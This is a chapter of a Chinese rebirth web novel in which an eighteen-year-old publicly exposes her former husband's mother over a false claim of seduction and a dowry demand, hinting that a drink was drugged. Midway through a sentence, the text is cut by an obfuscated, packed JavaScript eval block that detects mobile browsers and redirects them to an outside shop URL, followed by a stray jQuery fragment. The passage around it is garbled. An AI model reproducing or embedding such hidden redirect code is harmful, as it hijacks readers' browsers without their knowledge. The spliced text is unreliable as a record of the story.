回家路上,上辈子的记忆在脑海里翻滚。
她上辈子经商头脑极好,白手起家到品牌女王,资产高达数十亿。
但是她的婚姻从一开始就是错的,可思想传统的她却抱着“嫁鸡随鸡,嫁狗随狗”的想法,竭尽全力去维护她和刘建军的婚姻。
直到生命最后一刻,她才知道,自己傻得可怜,为那样的男人,为那样的婚姻,付出了所有。
这辈子,她势必要摆脱渣男和烂婚姻的束缚,实现真正的人生自由。
回到城北纺织厂家属院时,正赶上纺织厂白班下班,夜班上班的交接时间,人来人往,好不热闹。
纺织厂家属院三排红砖平房,她家在最后一排西头。窗台上晾着刷洗干净的解放鞋,墙角整齐地码着蜂窝煤。
还没走到家门口,就听见自家堂屋传来又尖又亮的嗓音。
“......一千块,一分不能少!我家建军以后是正式工,车间主任的儿子!娶你家闺女是你们高攀!"
是刘母的声音。她果然来了!
周玉如停下脚步,没有马上进去,她站在门口,静静听着。
“这钱呐,一来,给你们儿子周鹏程‘买’个进厂的指标,俺家老刘可不能白帮忙。二来,算作你家闺女的嫁妆,免得嫁过来寒酸,丢你们老周家的脸。”
周兴华闷闷的声音传来:“一千......太多了,家里拿不出......”
“拿不出?”刘母冷笑,“拿不出就别结这个亲!反正生米都煮成熟饭了,全班都知道了!你家闺女不嫁给我家建军,还能嫁给谁?传出去谁要她?”她提高嗓门儿,故意让家属院的左邻右舍都听到。
家属院里房子挨得近,谁家有点动静,前后三排都听得清清楚楚。刘母特意选在大伙儿下班回家的这个时间,要把事情闹大了。
周玉如心中冷笑。
上辈子这时候,刘母收到的消息是“事成了”——刘建军的计划得逞了,她周玉如失身了。所以刘母才会这般趾高气扬,觉得吃定了周家。
可这辈子,情况有变,但她显然没有收到“事没成”的消息,还是照样上门来威胁她爸妈。
很好,好戏登台了!
她心思浮动,面色不改,推开门。
昏暗的灯泡下,堂屋里坐着四个人。
刘母坐在旧八仙桌旁,扬着下巴,一副胜券在握的模样。
父亲周兴华黑着一张脸,正坐在窗边小板凳上抽烟,烟头一明一灭。母亲赵秀平苦着脸站在桌旁,看着趾高气扬的刘母,两只手不知所措地搓着围裙边。弟弟周鹏程靠在门框上,嗑着瓜子,眼珠子滴溜溜地转着。
见她进来,所有人都看过来。
“玉如回来了?”刘母立刻换了张笑脸,拍拍身旁的凳子,“来来,坐这儿。正说你俩的事呢。”
她原本真瞧不上这老周家。周兴华在纺织厂干了大半辈子还只是普通工人,本事不大,脾气不小。赵秀平家庭主妇,靠打打零工贴补家用。周鹏程初中毕业,没考上高中,三天两头和社会上的混混一起鬼混。
但这老周家的大女儿长得水灵灵的,把自家儿子的三魂七魄都勾走了。她不喜欢老周家,但无奈儿子苦苦哀求,她就拿着周玉如的八字和儿子的八字去找算命先生。
这不算不知道,一算吓一跳!她前前后后找了三个不同的街头算命先生,竟然得到一模一样的说法:女命财旺,助夫兴家,娶进门来,家宅生财,福禄双至。
刘母不自觉地改变了想法,心里算盘打得噼里啪啦响:她只要配合儿子的计划,等生米煮成熟饭,周玉如还能不嫁到他们老刘家?到时候再顺带敲一笔老周家的竹杠。毕竟,摆结婚酒席要花一大笔钱呐。
可是今天下午,她在家左等右等没等来“事成了”的消息。她急得团团转,该不会是送信的人出什么事儿了吧?
她又多等了一刻钟,但实在按耐不住内心的激动,就跑来老周家了。儿子的计划听起来天衣无缝,周玉如是插翅难逃的。
周玉如没坐,只是平静地看着她。
刘母见她沉默,以为她心虚,声音又提高了几分,“哎呀,姑娘家脸皮薄,不好意思说,婶子都懂!不过,这事情已经发生了,咱们就赶紧把婚事给办了,不然传出去多难听。”
门外已聚集了四五个邻居,交头接耳,指指点点。
周兴华脸色铁青,赵秀平眼圈红红的,嘴唇哆嗦着说不出话。
“婶子,”周玉如终于开口,“您刚才说事情已经发生了,究竟是什么事?我不大明白。”
刘母一愣,随即“哎呦”一声:“瞧你这孩子,还装糊涂!今天下午,你和建军不是去招待所了吗?”
“招待所?”周玉如脸上露出困惑,“哪个招待所?什么时候?”
“就今天下午,你们开了同学会后呀!”刘母见她“装傻”,有些急了,“建军都跟我说了,你俩情投意合,一时没忍住。哎呀,年轻人嘛,婶子懂的。这不赶紧过来商量你们的婚事嘛!”
门口,人头攒动,周玉如眼尖,一下子就看到了孙晓梅的妈妈正伸长脖子往里看,一脸幸灾乐祸。
很好,人都到齐了。
“婶子,”周玉如语气依然很平静,“今天下午,我一直和孙晓梅在一起。我俩在校门口喝汽水,她喝了几口就突然晕倒了。后来,刘建军就和隔壁班男同学送她去卫生院了。当时,很多同学都看到了。”
她停顿了一下,看向门外,扬声道:“尤婶,晓梅下午晕倒了,现在是不是还在卫生院?”
正在兴致勃勃吃瓜的尤美凤,冷不丁地被“点名”。她脸色骤然一变:“你说啥?晓梅晕倒了?”
尤美凤还不知情,那最大的可能性就是孙晓梅情况比较严重,检查结果还没有出来,所以还没有人来报信儿。
周玉如心念电转,心下有了计较。
“原来您还不知道啊!刘建军同学亲自送她去卫生院的。同去的另一个男同学还把晓梅喝过的那瓶汽水带去给医生检查了。说来也奇怪,今天刘建军同学请大家喝汽水,怎么会喝出事情来呢。”
周玉如在人群里看到了隔壁班同学的爷爷,“”王涛爷爷,您家王涛同学回来了没?”
“我刚看到他骑着自行车回来了,你找他有事儿?我这就去喊他过来。”王爷爷连忙回家找孙子。
不一会儿,隔壁班的王涛和郑建华一起来了,两人把下午的所见所闻说了一下。
尤美凤听完,脸色煞白。她赶紧解下围裙,正要往外跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094034|195578||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又回过头,狠狠剐了一眼刘母,厉声道:“我家晓梅要有个三长两短,我跟你们刘家没完!”说完,她赶紧骑上自行车赶往卫生院。
周玉如心中畅快,她转头看向刘母,眼神犀利起来:“婶子,您儿子这会儿在卫生院陪着孙晓梅,您却跑到我家里说我和他去了招待所。我想请问,是刘建军同学跟您撒了谎,还是您故意编排这话来诋毁我的名声?”
“我,我......”,刘母慌了起来,嘟嚷道:“建军明明说.....”
“我没有亲耳听到刘建军同学说过什么话,”周玉如打断她,往前走了一步,目光牢牢盯着她:“但我听到您刚才口口声声说生米已经煮成熟饭......”
她声音一下拔高:“婶子,我今年十八岁,高中刚毕业,但我知道这种事情对一个女孩子的名声有多重要。你刚才那些话,左邻右舍都听见了,如果传出去,我还怎么做人?”
她的声音带着哭腔,她抬起手,擦了擦眼角。
“就是啊,这话能乱说吗?”
“玉如这孩子一直老实本分......”
“这不是毁人姑娘的名声吗?造孽呦!”
门外的邻居们议论纷纷。
刘母脸上红一阵白一阵,支支吾吾说不出话来。她儿子跟她大致讲了计划,嘱咐她在家等信儿,等到“事成了”,她就到老周家上演这出戏。她没有收到信儿就来了,难道她做错了?
周玉如深吸一口气,转向门口众人,泪流满面。这次不是装的,她是真得为自己上辈子的种种痛苦经历而哭泣。
“各位爷爷奶奶叔叔婶婶,”她声音哽咽,“从小我妈就教导我女孩子要自重自爱,我好好读书,认真学习,从没想过谈恋爱,更不可能和男同学单独去什么招待所。今天,刘家婶子这番话要是传出去,我以后还怎么见人?我父母还怎么做人?”
赵秀平终于忍不住,冲过来抱住女儿,哭出声来:“我闺女不是那样的人!她从小懂事,一放学就回家帮忙干活,从来没有跟同学出去玩过,更不用说跟男同学去什么招待所了。”
周兴华脸色黑得像锅底:“刘家婶子,你今天必须把话说清楚!我闺女的名声可不能让你这样糟蹋了。”
大院里,众人纷纷指着刘母,
“刘家这也太欺负人了!”
“不就是看上周家闺女长得好看,想逼着嫁过去吗?”
“还张口要两千块嫁妆,真敢要啊!”
刘母在众人指指点点下,脸早已挂不住,起身就想溜之大吉。
“等等,”周玉如叫住她,“婶子,话还没有说完呢。”
她走到刘母跟前,盯着她的眼睛:“今天孙晓梅是喝了刘建军的汽水晕倒的。我很怀疑,为什么她喝了汽水就晕倒?是不是汽水有问题?如果医生查出什么来......”
她话没有说完,但意思很明显了。
刘母听出她话里的意思,她的脸色“刷”一下惨白。
如果真得查出汽水有问题,而汽水又是她儿子买的,那事情就闹大了。
“我,我不晓得......”刘母赶紧摆手。
就在这时,门外传来一个焦急万分的声音:“大伯母,您怎么在这儿,建军哥摊上事了!”